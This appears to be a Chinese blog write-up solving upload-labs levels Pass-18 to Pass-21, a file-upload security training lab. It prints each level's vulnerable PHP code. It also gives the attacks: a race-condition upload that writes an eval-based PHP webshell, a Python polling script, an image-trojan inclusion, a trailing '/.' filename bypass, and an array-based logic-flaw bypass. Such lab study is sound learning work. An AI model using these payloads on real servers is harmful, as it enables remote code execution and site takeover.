upload-labs(Pass-18 ~ Pass-21)

1、Pass-18(条件竞争)

1、题目需要进行代码审计:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');//白名单$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径,即为upload/ + 文件名if(move_uploaded_file($temp_file, $upload_file)){//上传文件,即将文件上传到$upload_file目录下if(in_array($file_ext,$ext_arr)){//匹配白名单,若该文件后缀在白名单中则进入$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);//修改文件名$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);//删除该文件}}else{$msg = '上传出错!';}
}
?>

所以我们只要上传的文件后缀不是白名单中的,该文件就还是会被删除

2、思路:

我们可以上传一个php文件其中代码为:

<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST[1]);?>");
?>

由于该文件后缀不是白名单中的,该文件就还是会被删除;

但是,服务器删除该php文件是有一定的延迟的,若我们在这延迟中访问了该php代码,那么就会在当前目录生成shell.php文件

3、实践:

(1)、抓包进入爆破模块:

(2)发包:

 此时就在源源不断的上传文件1.php,服务器也在一直删除该文件;

与此同时,我们得不断访问该文件,可以写个python脚本来访问:

import requestswhile 1:url = "http://192.168.80.128/upload-labs/upload/1.php" #填入urlhtml = requests.get(url)print(html.text)

(3)、访问shell.php:

2、Pass-19(条件竞争 + 图片马) 

注:

本题代码有一处有点问题需要修改,即myupload.php中:

function setDir( $dir ){if( !is_writable( $dir ) ){return "DIRECTORY_FAILURE";} else { $this->cls_upload_dir = $dir . '/';//设置文件夹,需要后面加上'/'return 1;}}

1、进行代码分析:

index.php:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);//调用myupload.php的MyUpload方法传入参数$status_code = $u->upload(UPLOAD_PATH);//调用myupload.php的upload方法处理文件switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break;      default:$msg = '未知错误!';break;}
}
?>

myupload.php(带注释):

<?phpclass MyUpload{    var $cls_upload_dir = "";         // Directory to upload to.var $cls_filename = "";           // Name of the upload file.var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).var $cls_max_filesize = 33554432; // Max file size.var $cls_filesize ="";            // Actual file size.var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.(当设置参数值为1时,就会在上传前检查文件是否存在)var $cls_rename_file = 1;         // Set to 1 to rename file after upload.(当设置参数值为1时,就会在上传文件之后修改文件名)var $cls_file_rename_to = '';     // New name for the file after upload.var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code./** constructor()**** @para String File name** @para String Temp file name** @para Int File size** @para String file rename to**/function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){$this->cls_filename = $file_name;//文件名$this->cls_tmp_filename = $tmp_file_name;//临时文件名$this->cls_filesize = $file_size;//文件大小$this->cls_file_rename_to = $file_rename_to;//文件重命名}/** isUploadedFile()**** Method to wrap php 4.0.3 is_uploaded_file fct** It will return an error code if the file has not been upload to /tmp on the web server** (look with phpinfo() fct where php store tmp uploaded file)** @returns string**/function isUploadedFile(){if( is_uploaded_file( $this->cls_tmp_filename ) != true ){//is_uploaded_file() 函数判断指定的文件是否是通过 HTTP POST 上传的return "IS_UPLOADED_FILE_FAILURE";} else {return 1;}}/** setDir()**** Method to set the directory we will upload to. ** It will return an error code if the dir is not writable.** @para String name of directory we upload to** @returns string**/function setDir( $dir ){if( !is_writable( $dir ) ){return "DIRECTORY_FAILURE";} else { $this->cls_upload_dir = $dir . '/';//若upload文件在存在,设置$this->cls_upload_dir=uploadreturn 1;}}/** checkExtension()**** Method to check if we accept the file extension.** @returns string**/function checkExtension(){//检查扩展名// Check if the extension is validif( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){return "EXTENSION_FAILURE";} else {return 1;}}/** checkSize()**** Method to check if the file is not to big.** @returns string**/function checkSize(){//大小要小于33554432if( $this->cls_filesize > $this->cls_max_filesize ){return "FILE_SIZE_FAILURE";} else {return 1;}}/** move()**** Method to wrap php 4.0.3 fct move_uploaded_file()** @returns string**/function move(){//上传文件if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){return "MOVE_UPLOADED_FILE_FAILURE";} else {return 1;}}/** checkFileExists()**** Method to check if a file with the same name exists in** destination folder.** @returns string**/function checkFileExists(){//检查在upload目录下文件是否已经存在if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){return "FILE_EXISTS_FAILURE";} else {return 1;}}/** renameFile()**** Method to rename the uploaded file.** If no name was provided with the constructor, we use** a random name.** @returns string**/function renameFile(){//进行修改文件名// if no new name was provided, we useif( $this->cls_file_rename_to == '' ){//未设置文件名$allchar = "abcdefghijklnmopqrstuvwxyz" ; $this->cls_file_rename_to = "" ; mt_srand (( double) microtime() * 1000000 ); for ( $i = 0; $i<8 ; $i++ ){$this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; }}    // Remove the extension and put it back on the new file name$extension = strrchr( $this->cls_filename, "." );$this->cls_file_rename_to .= $extension;if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){return "RENAME_FAILURE";} else {return 1;}}/** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){//index.php调用了upload方法,并传入$dir='upload'$ret = $this->isUploadedFile();//判断文件是否是正常上传过来的,若是则$ret=1if( $ret != 1 ){//若文件不是正常上传过来的,通过resultUpload方法返回指定数值return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );//设置上传文件夹,成功返回$ret=1if( $ret != 1 ){//出错返回return $this->resultUpload( $ret );}$ret = $this->checkExtension();//检查上传文件的后缀是否在白名单中if( $ret != 1 ){//不在返回出错return $this->resultUpload( $ret );}$ret = $this->checkSize();//检查文件大小if( $ret != 1 ){//太大返回出错return $this->resultUpload( $ret );    }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();//若文件已经存在返回出错if( $ret != 1 ){return $this->resultUpload( $ret );    }}// if we are here, we are ready to move the file to destination$ret = $this->move();//将文件上传到upload目录下if( $ret != 1 ){//出错返回return $this->resultUpload( $ret );    }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){//出错返回return $this->resultUpload( $ret );    }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );//返回成功}/** resultUpload()**** Method that returns the status of the upload** (You should put cls_verbal to 1 during debugging...)** @para String Status of the upload** @returns mixed (int or string)**/function resultUpload( $flag ){switch( $flag ){case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";break;case "DIRECTORY_FAILURE"        : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";break;case "EXTENSION_FAILURE"        : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";break;case "FILE_SIZE_FAILURE"        : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";break;case "FILE_EXISTS_FAILURE"      : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";break;case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";break;case "RENAME_FAILURE"           : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";break;case "SUCCESS"                  : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";break;default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";break;}}}; // end class// exemple
/*if( $_POST['submit'] != '' ){$u = new MyUpload( $_FILES['image']['name'], $_FILES['image']['tmp_name'], $_FILES['image']['size'], "thisname" );$result = $u->upload( "../image/upload/" );print $result;}print "<br><br>\n";
print "<form enctype='multipart/form-data' method='post' action='". $PHP_SELF ."'>\n";
print "<input type='hidden' name='MAX_FILE_SIZE' value='200000'>\n";
print "<input type='file' name='image'>\n";
print "<input type='submit' value='Upload' name='submit'>\n";
print "</form>\n";
*/
?>

可知代码的思路是:检查文件大小,后缀等信息,不符合则上传失败,若上传成功则随机化文件名(即在现实中,我们不知道文件名;但本题可以知道,我们以不知道来进行解答)

2、所以思路是,我们上传一个图片马,在服务器修改文件名的间隙,通过文件包含漏洞,向服务器写入一个后门

3、实践:

操作跟上一关差不多

利用python文件进行包含:

import requestswhile 1:url = "http://192.168.80.128/upload-labs/include.php?file=./upload/2.png" #填入urlhtml = requests.get(url)print(html.text)

这里是否写入也是概率问题,多跑几次

3、Pass-20(上传文件名可控move_uploaded_file)

 1、本题我们可以任意写出我们想要上传的文件名,由于move_uploaded_file会忽略末尾的/.,进行后缀获取的时候,获取到空,所以也可以用来绕过黑名单;

输出后缀:

可知为空 

2、上传:

访问:

 4、Pass-21(逻辑漏洞)

1、代码分析:

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){//mime check$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//check filename$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {//若$file不为数组,则将$file以点分开,得到字符串数组$file = explode('.', strtolower($file));}$ext = end($file);//获取数组的最后一位$allow_suffix = array('jpg','png','gif');//白名单if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];//取数组第一个元素和最后一个拼接$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}}else{$msg = "请选择要上传的文件!";}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}?>

2、我将代码简化,上面代码逻辑等同于:

<?php
$name=$_GET['name'];//输入的文件名
$ext=end($name);//取最后一个元素
$allow_suffix = array('jpg','png','gif');//白名单if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($name) . '.' . $name[count($name) - 1];//取数组第一个元素和最后一个拼接echo count($name) . '</br>';echo $file_name . '</br>';}var_dump($name);
?>

其中

end函数:取最后一个元素

reset:取第一个元素

所以我们的思路是:我们自己传入数组,不用代码中的explode进行分割形成数组。

由于有黑名单,所以我们输入的数组最后一个元素必须为jpg、png或者gif 

而这里的所及漏洞是后面的文件名拼接,文件后缀是取数组元素减一所指的元素,若我们让数组本身元素少于下标最后绕过;

3、实践:

 4、访问:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/411965.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024 MongoDB中国用户大会倒计时2天!请查收专属参会指南

距离2024 MongoDB中国用户大会即将开幕仅剩2天&#xff0c;我们非常期待与您共同探讨和分享最新的数据库技术与应用经验。为了确保您能够顺利参与本次会议&#xff0c;请查阅属于您的专属温馨提示&#xff01; 活动时间 8月31日09:00-17:30 签到开始&#xff1a;08:00 现场参…

嵌入式学习——ARM学习(2)——汇编学习

工具&#xff1a;Keil-uVision5 1、汇编 1.1 汇编的组成 指令&#xff1a;汇编语言的核心部分&#xff0c;表示 CPU 可以执行的操作&#xff0c;如数据传输、算术运算、逻辑运算等。 操作数&#xff1a;指令中用于指定操作对象的数据&#xff0c;可以是寄存器、内存地址或立即…

【Material-UI】Slider 组件中的 Discrete Sliders 详解

文章目录 一、Slider 组件概述1. 组件介绍2. Discrete Sliders 的特点 二、Discrete Sliders 的基本用法1. step 属性2. marks 属性3. valueLabelDisplay 属性 三、深入理解 Discrete Sliders 的配置1. 自定义刻度标记2. 限制可选值3. 设置较小的步长4. 始终显示值标签 四、应用…

惊叹:《黑神话:悟空》所在 Steam 发行平台遭网络狂袭,威胁流量猛增两万倍!

8月24日&#xff0c;对于《黑神话&#xff1a;悟空》的玩家而言&#xff0c;本应是尽情畅玩游戏发售后第一个周六的美好时光&#xff0c;然而在当日晚间&#xff0c;众多玩家却发现该游戏的主要发行平台Steam无法登录。很快&#xff0c;“#Steam崩了#”便冲上微博热搜榜。不少玩…

搭建FTP服务器,通过浏览器访问FTP服务器,测试终端上传的音频文件。

文章目录 引言I 搭建FTP服务器II 浏览器访问FTP文件PC端浏览器访问iphone-safari浏览器访问FTP设置Mac-Safari浏览器访问FTP设置III FTP基础知识FTP客户端数据连接: 被动模式(PASV)引言 需求: 通过浏览器访问,测试终端通过FTP上传的语音文件,支持直接播放语音文件。 建议…

Spring底层机制环境搭建

文章目录 1.模块创建和依赖引入1.聚合模块&#xff0c;下面有一个myspring2.查看父模块是否管理了子模块3.myspring模块引入基本包 2.进行环境搭建1.目录概览2.UserController.java3.UserService.java4.UserDao.java5.AppMain.java6.beans.xml7.测试8.配置UserController.java为…

gptk是什么意思?Mac电脑如何在crossover里安装gptk2.0测试版?借助GPTK玩《原神》《黑神话悟空》游戏

很人多都听说使用 gptk2.0 beta 可以让《黑神话&#xff1a;悟空》等游戏的帧数提高&#xff0c;但自己并不知道如何安装&#xff0c;下面就给大家说下如何在crossover里安装 gptk2.0 beta 。安装前请先确认自己的电脑里已经安装好了crossover软件。 Game Porting Toolkit 简介…

数字化转型升级探索(二)

在数字化转型升级的探索中&#xff0c;我们计划通过整合前沿技术如人工智能、物联网和大数据&#xff0c;全面改造传统业务流程&#xff0c;打造智能化、数据驱动的业务架构&#xff0c;实现从数据采集、处理到分析的全链条数字化&#xff0c;以提升决策效率、优化运营管理&…

stm32-USB-1

1. USB简介 USB&#xff0c; 英文全称&#xff1a;Universal Serial Bus&#xff0c;即通用串行总线 USB提供适合各种应用的传输协议&#xff0c;而且协议标准向下兼容 优缺点 2. USB2.0拓扑结构 USB是一种主从结构的系统&#xff0c;数据交换只能发生在主从设备之间&#…

【STM32】写Keil程序的注意事项

看正点原子的资料使用Keil写STM32程序的时候&#xff0c;总是在不断学习&#xff0c;不断探索。后续又学到啥再更新 专栏目录&#xff1a;记录自己的嵌入式学习之路-CSDN博客 目录 1 Keil设置 1.1 字体设置 1.2 快捷键设置 1.3 快速前往前一操作位置/后一操作位…

esp8266根据httpserver状态,调用网络唤醒,实现一键开机

esp8266根据httpserver状态&#xff0c;调用网络唤醒&#xff0c;实现一键开机 一.开发板程序二. 服务端三.服务端状态变更 一.开发板程序 #include <ESP8266WiFi.h> #include <ESP8266HTTPClient.h> #include <WiFiUdp.h> #include <ArduinoJson.h>/…

Autosar(Davinci) --- 创建一个OS TASK

目录 前言 一、认识OS 二、创建一个Basic Task 三、创建一个Extended Task 四、Task Mapping 五、生成代码 六、代码集成与编译 七、烧录&调试 八、Basic Task & Extended Task代码分析 前言 所有的runnable都是基于在TASK上运行的,那么我们这章就讲解,如何…

分享5款支持论文写作网站先稿后付的网站!

在当今学术研究和学术写作领域&#xff0c;AI论文写作工具已经成为不可或缺的助手。这些工具不仅能够提高写作效率&#xff0c;还能帮助研究人员生成高质量的论文内容。特别是那些提供“先稿后付”服务模式的网站&#xff0c;更是为用户提供了极大的便利和保障。以下是五款值得…

【Qt窗口】—— 状态栏

目录 1.1 状态栏的创建 1.2 在状态栏中显示实时消息 1.3 在状态栏中显示永久消息 状态栏是应用程序中输出简要信息的区域。⼀般位于主窗口的最底部&#xff0c;⼀个窗⼝中最多只能有⼀个状态栏。在Qt中&#xff0c;状态栏是通过QStatusBar类来实现的。在状态栏中可以显示的消…

2024118读书笔记|《岳阳楼记》——天高地迥,觉宇宙之无穷;兴尽悲来,识盈虚之有数

2024118读书笔记|《岳阳楼记》——天高地迥&#xff0c;觉宇宙之无穷&#xff1b;兴尽悲来&#xff0c;识盈虚之有数 爱莲说陋室铭小石潭记醉翁亭记赤壁赋桃花源记归去来兮辞木兰辞阿房宫赋滕王阁序岳阳楼记 《岳阳楼记》范仲淹&#xff0c;都是背过的古文&#xff0c;挺不错的…

并查集【算法 12】

并查集 (Union-Find) 的基础概念与实现 并查集&#xff08;Union-Find&#xff09;是一种用于处理不相交集合&#xff08;disjoint sets&#xff09;的数据结构&#xff0c;常用于解决连通性问题。典型的应用场景包括动态连通性问题&#xff08;如网络节点连通性检测&#xff0…

【STM32】FMC

FMC功能与FSMC类似&#xff0c;但比FSMC更强大&#xff0c;但仅在F4 / F7 / H7等高级一点的MCU上支持&#xff0c;F1不支持。虽然我的是F103&#xff0c;但顺便都看了。 大部分图片来源&#xff1a;正点原子HAL库课程 专栏目录&#xff1a;记录自己的嵌入式学习之路-CSDN博客 目…

Axure 9 使用

一、界面初识 二、基础功能 1.菜单栏 1.1文件 新建文件&#xff1a;axure9包含四种文件.rp代表原型文件&#xff0c;.rplib代表元件库文件&#xff0c;.rpteam 团队项目文件 .html 网页文件 偏好设置&#xff1a;备份&#xff0c;需要备份文件再从备份中恢复 创建项目团…

二叉树前序,中序,后序非递归遍历(Java)

1. 思路&#xff1a; 首先创建一个栈和顺序表&#xff0c;按照根左右的前序遍历顺序去遍历这棵树&#xff0c;一直往左孩子方向遍历&#xff0c;每遍历到一个结点就入栈并且加入到顺序表里&#xff0c;如果没有左孩子了&#xff0c;就拿出栈顶元素&#xff0c;看它是否有右孩子…

智能学习辅助系统——后端部分

目录 前言 一、准备工作 1.需求&环境搭建 1.1需求说明 1.2环境搭建 2.开发规范 2.1 开发规范-REST 2.2 开发规范-统一响应结果 3.开发流程 二、部门管理 1.查询部门 &#xff08;1&#xff09;原型和需求 &#xff08;2&#xff09;接口文档 &#xff08;3&…